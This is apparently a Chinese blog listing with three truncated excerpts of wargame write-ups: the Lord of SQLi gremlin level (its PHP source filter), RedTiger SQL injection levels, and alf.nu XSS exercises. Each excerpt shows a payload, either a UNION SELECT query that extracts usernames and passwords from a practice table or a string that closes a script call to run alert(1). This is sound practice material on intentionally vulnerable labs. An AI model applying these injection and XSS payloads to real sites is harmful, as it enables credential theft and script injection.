网站：https://los.rubiya.kr/参考了GitHub上的相应writeup和代码，记录下做题过程，以备日后学习之需。 gremlinquery : select id from prob_gremlin where id='' and pw=''source code: <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attac...

Web安全 sql注入 level 1 https://redtiger.labs.overthewire.org/level1.php利用回显，拼接union select语句（已知库名level1_users）https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users level 2 https://redtiger.labs.overthewire.org/level2.phpA simple loginbypassTarget: L...

https://alf.nu/alert1#XSS练习 Warm up function escape(s) { return '<script>console.log("'+s+'");</script>'; }ans: ");alert(1,"闭合掉console.log即可,此时output: <script>console.log("");alert(1,"");</script> Adobe function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>...